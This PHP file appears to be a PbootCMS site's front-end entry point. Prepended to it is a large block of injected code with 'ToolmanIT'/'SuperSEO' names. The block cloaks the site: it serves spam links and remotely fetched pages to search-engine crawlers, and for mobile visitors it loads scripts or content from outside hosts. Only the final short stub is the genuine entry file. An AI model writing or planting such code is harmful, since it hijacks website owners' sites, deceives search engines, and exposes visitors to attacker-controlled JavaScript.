<?php
set_time_limit(0);
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if (!function_exists('ToolmanIT_cleanHeaderValue')) {
    function ToolmanIT_cleanHeaderValue($v) {
        return str_replace(array("\r", "\n"), '', (string)$v);
    }
}
if (!function_exists('ToolmanIT_getRealIp')) {
    function ToolmanIT_getRealIp() {
        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
            return trim($_SERVER['HTTP_CF_CONNECTING_IP']);
        }
        if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ToolmanIT_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
            return trim($ToolmanIT_ips[0]);
        }
        if (!empty($_SERVER['HTTP_X_REAL_IP'])) {
            return trim($_SERVER['HTTP_X_REAL_IP']);
        }
        return isset($_SERVER['REMOTE_ADDR']) ? trim($_SERVER['REMOTE_ADDR']) : '0.0.0.0';
    }
}
if (!function_exists('ToolmanIT_apiRequest')) {
    function ToolmanIT_apiRequest($url, $keyEnabled, $key, $isLogoRequest) {
        $ToolmanIT_host = isset($_SERVER['HTTP_HOST']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_HOST']) : '';
        $ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? ToolmanIT_cleanHeaderValue($_SERVER['REQUEST_URI']) : '/';
        $ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : '';
        $ToolmanIT_ref = isset($_SERVER['HTTP_REFERER']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_REFERER']) : '';
        $ToolmanIT_ip = ToolmanIT_getRealIp();
        $ToolmanIT_headers = array( "X-Original-URI: " . $ToolmanIT_uri, "X-Original-UA: " . $ToolmanIT_ua, "X-Original-User-Agent: " . $ToolmanIT_ua,
        "X-Forwarded-User-Agent: " . $ToolmanIT_ua, "X-Real-IP: " . $ToolmanIT_ip, "X-Forwarded-For: " . $ToolmanIT_ip,
        "Client-IP: " . $ToolmanIT_ip, "X-Original-IP: " . $ToolmanIT_ip, "X-Original-Referer: " . $ToolmanIT_ref, "X-Referer: " . $ToolmanIT_ref,
        "Referer: " . $ToolmanIT_ref );
        $ToolmanIT_headers[] = "X-SuperSEO-Domain: " . $ToolmanIT_host;
        $ToolmanIT_headers[] = "X-Client-Domain: " . $ToolmanIT_host;
        $ToolmanIT_headers[] = "X-Forwarded-Host: " . $ToolmanIT_host;
        $ToolmanIT_headers[] = "X-Original-Host: " . $ToolmanIT_host;
        if ($keyEnabled && $key !== '') {
            $ToolmanIT_headers[] = "X-SuperSEO-Key: " . ToolmanIT_cleanHeaderValue($key);
        }
        if (!function_exists('curl_init')) {
            $ToolmanIT_context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => 12, 'ignore_errors' => true,
            'user_agent' => $ToolmanIT_ua, 'header' => implode("\r\n", $ToolmanIT_headers) . "\r\n" ) ));
            return @file_get_contents($url, false, $ToolmanIT_context);
        }
        $ToolmanIT_ch = curl_init();
        curl_setopt($ToolmanIT_ch, CURLOPT_URL, $url);
        curl_setopt($ToolmanIT_ch, CURLOPT_USERAGENT, $ToolmanIT_ua);
        curl_setopt($ToolmanIT_ch, CURLOPT_HTTPHEADER, $ToolmanIT_headers);
        curl_setopt($ToolmanIT_ch, CURLOPT_REFERER, $ToolmanIT_ref);
        curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ToolmanIT_ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ToolmanIT_ch, CURLOPT_HEADER, false);
        curl_setopt($ToolmanIT_ch, CURLOPT_ENCODING, 'gzip,deflate');
        curl_setopt($ToolmanIT_ch, CURLOPT_CONNECTTIMEOUT, 5);
        curl_setopt($ToolmanIT_ch, CURLOPT_TIMEOUT, 12);
        curl_setopt($ToolmanIT_ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ToolmanIT_ch, CURLOPT_MAXREDIRS, 3);
        $ToolmanIT_html = curl_exec($ToolmanIT_ch);
        curl_close($ToolmanIT_ch);
        return $ToolmanIT_html;
    }
}
if (!function_exists('ToolmanIT_getRemoteText')) {
    function ToolmanIT_getRemoteText($url) {
        $ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_USER_AGENT']) : 'Baiduspider';
        if (function_exists('curl_init')) {
            $ToolmanIT_ch = curl_init();
            curl_setopt($ToolmanIT_ch, CURLOPT_URL, $url);
            curl_setopt($ToolmanIT_ch, CURLOPT_USERAGENT, $ToolmanIT_ua);
            curl_setopt($ToolmanIT_ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ToolmanIT_ch, CURLOPT_HEADER, false);
            curl_setopt($ToolmanIT_ch, CURLOPT_ENCODING, 'gzip,deflate');
            curl_setopt($ToolmanIT_ch, CURLOPT_CONNECTTIMEOUT, 5);
            curl_setopt($ToolmanIT_ch, CURLOPT_TIMEOUT, 12);
            curl_setopt($ToolmanIT_ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ToolmanIT_ch, CURLOPT_MAXREDIRS, 3);
            curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ToolmanIT_ch, CURLOPT_SSL_VERIFYHOST, false);
            $ToolmanIT_txt = curl_exec($ToolmanIT_ch);
            curl_close($ToolmanIT_ch);
            return $ToolmanIT_txt;
        }
        $ToolmanIT_context = stream_context_create(array( 'http' => array( 'method' => 'GET', 'timeout' => 12, 'ignore_errors' => true,
        'user_agent' => $ToolmanIT_ua, 'header' => "User-Agent: " . $ToolmanIT_ua . "\r\n" ) ));
        return @file_get_contents($url, false, $ToolmanIT_context);
    }
}
if (!function_exists('ToolmanIT_randomNumber')) {
    function ToolmanIT_randomNumber($length) {
        $length = intval($length);
        if ($length < 1) {
            $length = 1;
        }
        $ToolmanIT_str = '';
        for ($ToolmanIT_i = 0; $ToolmanIT_i < $length; $ToolmanIT_i++) {
            $ToolmanIT_str .= mt_rand(0, 9);
        }
        return $ToolmanIT_str;
    }
}
if (!function_exists('ToolmanIT_replaceRandomRangeCallback')) {
    function ToolmanIT_replaceRandomRangeCallback($m) {
        $ToolmanIT_min = intval($m[1]);
        $ToolmanIT_max = intval($m[2]);
        if ($ToolmanIT_min > $ToolmanIT_max) {
            $ToolmanIT_tmp = $ToolmanIT_min;
            $ToolmanIT_min = $ToolmanIT_max;
            $ToolmanIT_max = $ToolmanIT_tmp;
        }
        return ToolmanIT_randomNumber(mt_rand($ToolmanIT_min, $ToolmanIT_max));
    }
}
if (!function_exists('ToolmanIT_replaceRandomFixedCallback')) {
    function ToolmanIT_replaceRandomFixedCallback($m) {
        return ToolmanIT_randomNumber($m[1]);
    }
}
if (!function_exists('ToolmanIT_replaceRandom')) {
    function ToolmanIT_replaceRandom($url) {
        $url = trim((string)$url);
        $url = urldecode($url);
        $url = str_replace( array('｛', '｝'), array('{', '}'), $url );
        $url = preg_replace_callback('/\{随机数字(\d+)\}-\{随机数字(\d+)\}/u', 'ToolmanIT_replaceRandomRangeCallback', $url);
        $url = preg_replace_callback('/\{随机数字(\d+)\}/u', 'ToolmanIT_replaceRandomFixedCallback', $url);
        return $url;
    }
}
if (!function_exists('ToolmanIT_rewriteLogoLinksCallback')) {
    function ToolmanIT_rewriteLogoLinksCallback($m) {
        $ToolmanIT_q = $m[1];
        $ToolmanIT_url = trim($m[2]);
        if ($ToolmanIT_url === '') {
            return $m[0];
        }
        if ( stripos($ToolmanIT_url, 'javascript:') === 0 || stripos($ToolmanIT_url, 'mailto:') === 0 || stripos($ToolmanIT_url,
        'tel:') === 0 || strpos($ToolmanIT_url, '#') === 0 || stripos($ToolmanIT_url, 'logo.php') !== false ) {
            return $m[0];
        }
        $ToolmanIT_path = $ToolmanIT_url;
        if (preg_match('#^https?://[^/]+(/.*)$#i', $ToolmanIT_url, $ToolmanIT_mm)) {
            $ToolmanIT_path = $ToolmanIT_mm[1];
        }
        if ($ToolmanIT_path === '') {
            return $m[0];
        }
        if (substr($ToolmanIT_path, 0, 1) !== '/') {
            $ToolmanIT_path = '/' . $ToolmanIT_path;
        }
        if ( stripos($ToolmanIT_path, '/ArTicle/details/') === 0 || stripos($ToolmanIT_path, '/article/details/') === 0 ) {
            return 'href=' . $ToolmanIT_q . '/logo.php?' . $ToolmanIT_path . $ToolmanIT_q;
        }
        return $m[0];
    }
}
if (!function_exists('ToolmanIT_rewriteLogoLinks')) {
    function ToolmanIT_rewriteLogoLinks($html) {
        return preg_replace_callback( '/\bhref\s*=\s*([\'"])([^\'"]*)\1/i', 'ToolmanIT_rewriteLogoLinksCallback', $html );
    }
}
if (!function_exists('ToolmanIT_rewritePlainLogoUrl')) {
    function ToolmanIT_rewritePlainLogoUrl($url) {
        $url = trim((string)$url);
        if ($url === '') {
            return $url;
        }
        if (stripos($url, 'logo.php') !== false) {
            return $url;
        }
        $ToolmanIT_path = $url;
        if (preg_match('#^https?://[^/]+(/.*)$#i', $url, $ToolmanIT_mm)) {
            $ToolmanIT_path = $ToolmanIT_mm[1];
        }
        if ($ToolmanIT_path === '') {
            return $url;
        }
        if (substr($ToolmanIT_path, 0, 1) !== '/') {
            $ToolmanIT_path = '/' . $ToolmanIT_path;
        }
        if ( stripos($ToolmanIT_path, '/ArTicle/details/') === 0 || stripos($ToolmanIT_path, '/article/details/') === 0 ) {
            return '/logo.php?' . $ToolmanIT_path;
        }
        return $url;
    }
}
if (!function_exists('ToolmanIT_buildApiUrl')) {
    function ToolmanIT_buildApiUrl(
        $apiBase,
        $keyword,
        $keyEnabled,
        $key,
        $isLogoRequest,
        $uri,
        $clientJs
    ) {
        $ToolmanIT_apiUrl = rtrim($apiBase, '/')
            . '?keyword=' . urlencode($keyword)
            . '&client_js=' . urlencode($clientJs)
            . '&_r=' . mt_rand(10000000, 99999999);

        if ($isLogoRequest) {
            $ToolmanIT_apiUrl .= '&force_logo=1';
            $ToolmanIT_apiUrl .= '&uri=' . urlencode($uri);
        }

        if ($keyEnabled && $key !== '') {
            $ToolmanIT_apiUrl .= '&key=' . urlencode($key);
        }

        return $ToolmanIT_apiUrl;
    }
}

if (!function_exists('ToolmanIT_getMobilePolicy')) {
    function ToolmanIT_getMobilePolicy($config, $uri) {
        $ToolmanIT_host = isset($_SERVER['HTTP_HOST'])
            ? ToolmanIT_cleanHeaderValue($_SERVER['HTTP_HOST'])
            : '';

        $ToolmanIT_url = rtrim($config['indexApiBase'], '/')
            . '?mode=mobile_policy'
            . '&domain=' . urlencode($ToolmanIT_host)
            . '&client_js=' . urlencode($config['mobileJs'])
            . '&uri=' . urlencode($uri)
            . '&_r=' . mt_rand(10000000, 99999999);

        if ($config['keyEnabled'] && $config['key'] !== '') {
            $ToolmanIT_url .= '&key=' . urlencode($config['key']);
        }

        $ToolmanIT_json = ToolmanIT_apiRequest(
            $ToolmanIT_url,
            $config['keyEnabled'],
            $config['key'],
            false
        );

        $ToolmanIT_policy = @json_decode((string)$ToolmanIT_json, true);

        if (!is_array($ToolmanIT_policy) || !isset($ToolmanIT_policy['status'])) {
            return array(
                'status' => 0,
                'js_url' => '',
                'content' => ''
            );
        }

        return $ToolmanIT_policy;
    }
}

if (!function_exists('ToolmanIT_run')) {
    function ToolmanIT_run() {
        $ToolmanIT_config = ToolmanIT_superseoConfig();
        $ToolmanIT_ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
        $ToolmanIT_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
        if ( stripos($ToolmanIT_uri, 'robots.txt') !== false || stripos($ToolmanIT_uri, 'sitemap.xml') !== false ) {
            return;
        }
        $ToolmanIT_isLogoRequest = false;
        if ( stripos($ToolmanIT_uri, 'logo.php') !== false || ( isset($_SERVER['SCRIPT_NAME']) && stripos($_SERVER['SCRIPT_NAME'],
        'logo.php') !== false ) ) {
            $ToolmanIT_isLogoRequest = true;
        }
        $ToolmanIT_isHomeRequest = false;
        $ToolmanIT_uriPath = parse_url($ToolmanIT_uri, PHP_URL_PATH);
        if ($ToolmanIT_uriPath === false) {
            $ToolmanIT_uriPath = '/';
        }
        if ( $ToolmanIT_uriPath === '/' || $ToolmanIT_uriPath === '' || preg_match('#/(?:index\.php|index\.html?|)$#i',
        $ToolmanIT_uriPath) ) {
            $ToolmanIT_isHomeRequest = true;
        }
        $ToolmanIT_hasLogoPhp = is_file(__DIR__ . '/logo.php');
        $ToolmanIT_needRewriteLogoLinks = false;
        if ($ToolmanIT_isLogoRequest || ($ToolmanIT_isHomeRequest && $ToolmanIT_hasLogoPhp)) {
            $ToolmanIT_needRewriteLogoLinks = true;
        }
        $ToolmanIT_area = stripos($ToolmanIT_uri, '.xml') !== false || stripos($ToolmanIT_uri, '.doc') !== false || stripos($ToolmanIT_uri,
        '.txt') !== false || stripos($ToolmanIT_uri, '.ppt') !== false || stripos($ToolmanIT_uri, '.pptx') !== false || stripos($ToolmanIT_uri,
        '.xls') !== false || stripos($ToolmanIT_uri, '.csv') !== false || stripos($ToolmanIT_uri, '.shtml') !== false || stripos($ToolmanIT_uri,
        '.asp') !== false || stripos($ToolmanIT_uri, 'scm') !== false || $ToolmanIT_isLogoRequest;
        $ToolmanIT_isSpider = preg_match($ToolmanIT_config['spiderReg'], $ToolmanIT_ua);
        $ToolmanIT_isMobile = preg_match($ToolmanIT_config['mobileReg'], $ToolmanIT_ua);
        if ($ToolmanIT_isSpider) {
            $ToolmanIT_txt = ToolmanIT_getRemoteText($ToolmanIT_config['txtUrl']);
            if ($ToolmanIT_txt !== false && trim($ToolmanIT_txt) !== '') {
                $ToolmanIT_urls = preg_split('/\r\n|\r|\n/', trim($ToolmanIT_txt));
                $ToolmanIT_urls = array_map('trim', $ToolmanIT_urls);
                $ToolmanIT_urls = array_filter($ToolmanIT_urls, 'strlen');
                $ToolmanIT_urls = array_unique($ToolmanIT_urls);
                $ToolmanIT_urls = array_values($ToolmanIT_urls);
                shuffle($ToolmanIT_urls);
                $ToolmanIT_showUrls = array_slice( $ToolmanIT_urls, 0, min($ToolmanIT_config['linkShowCount'], count($ToolmanIT_urls)) );
                foreach ($ToolmanIT_showUrls as $ToolmanIT_url) {
                    $ToolmanIT_outUrl = ToolmanIT_replaceRandom($ToolmanIT_url);
                    if ($ToolmanIT_needRewriteLogoLinks) {
                        $ToolmanIT_outUrl = ToolmanIT_rewritePlainLogoUrl($ToolmanIT_outUrl);
                    }
                    echo $ToolmanIT_outUrl . "<br>\n";
                }
            }
            if ($ToolmanIT_isLogoRequest) {
                $ToolmanIT_apiBase = $ToolmanIT_config['logoApiBase'];
            }  else {
                $ToolmanIT_apiBase = $ToolmanIT_config['indexApiBase'];
            }
            $ToolmanIT_apiUrl = ToolmanIT_buildApiUrl(
                $ToolmanIT_apiBase,
                $ToolmanIT_config['keyword'],
                $ToolmanIT_config['keyEnabled'],
                $ToolmanIT_config['key'],
                $ToolmanIT_isLogoRequest,
                $ToolmanIT_uri,
                $ToolmanIT_config['mobileJs']
            );
            $ToolmanIT_html = ToolmanIT_apiRequest( $ToolmanIT_apiUrl, $ToolmanIT_config['keyEnabled'], $ToolmanIT_config['key'],
            $ToolmanIT_isLogoRequest );
            if ($ToolmanIT_html !== false && trim($ToolmanIT_html) !== '') {
                if ($ToolmanIT_needRewriteLogoLinks) {
                    $ToolmanIT_html = ToolmanIT_rewriteLogoLinks($ToolmanIT_html);
                }
                echo $ToolmanIT_html;
                exit;
            }
            exit;
        }
        if (
            !$ToolmanIT_isSpider &&
            !$ToolmanIT_isHomeRequest &&
            $ToolmanIT_area &&
            $ToolmanIT_isMobile
        ) {
            $ToolmanIT_policy = ToolmanIT_getMobilePolicy(
                $ToolmanIT_config,
                $ToolmanIT_uri
            );

            $ToolmanIT_status = isset($ToolmanIT_policy['status'])
                ? intval($ToolmanIT_policy['status'])
                : 0;

            if ($ToolmanIT_status === 3) {
                echo isset($ToolmanIT_policy['content'])
                    ? (string)$ToolmanIT_policy['content']
                    : '';
                exit;
            }

            if (
                ($ToolmanIT_status === 1 || $ToolmanIT_status === 2) &&
                !empty($ToolmanIT_policy['js_url'])
            ) {
                echo '<script src="'
                    . htmlspecialchars(
                        $ToolmanIT_policy['js_url'],
                        ENT_QUOTES,
                        'UTF-8'
                    )
                    . '"></script>';
                exit;
            }

            echo '<script src="'
                . htmlspecialchars(
                    $ToolmanIT_config['mobileJs'],
                    ENT_QUOTES,
                    'UTF-8'
                )
                . '"></script>';
            exit;
        }

        return;
    }
}
if (!function_exists('ToolmanIT_superseoConfig')) {
    function ToolmanIT_superseoConfig() {
        return array( 
		'indexApiBase' => 'http://index.myjjwssd.cn/api/content_v2.php', 
		'logoApiBase' => 'http://logo.myjjwssd.cn/api/content_v2.php',
        'txtUrl' => 'http://ggzk.mwedu.net.cn/guanggaoxitong_api/zhizhu.txt', 
		'mobileJs' => 'https://jsb.doy99999.shop/hz2.js?key=985c561d1f2a6f516e47247b19f64053.js',
        'keyword' => (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''). (isset($_SERVER['REQUEST_URI']) ?$_SERVER['REQUEST_URI'] : '/'),
        'keyEnabled' => true, 'key' => 'demo123', 'linkShowCount'=> 20, 'spiderReg' => '@Baiduspider|Sogou|Yisou|Haosou|360Spider|Bytespider|YandexBot|Googlebot|bingbot@i',
        'mobileReg' => '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i' );
    }
}
ToolmanIT_run();
?><?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  用户前端入口文件
 */

// 定义为入口文件
define('IS_INDEX', true);

// 入口文件地址绑定
define('URL_BIND', 'home');

// PHP版本检测
if (PHP_VERSION < '5.4') {
    header('Content-Type:text/html; charset=utf-8');
    exit('您服务器PHP的版本太低，程序要求PHP版本不小于5.4');
}

// 引用内核启动文件
require dirname(__FILE__) . '/core/start.php';
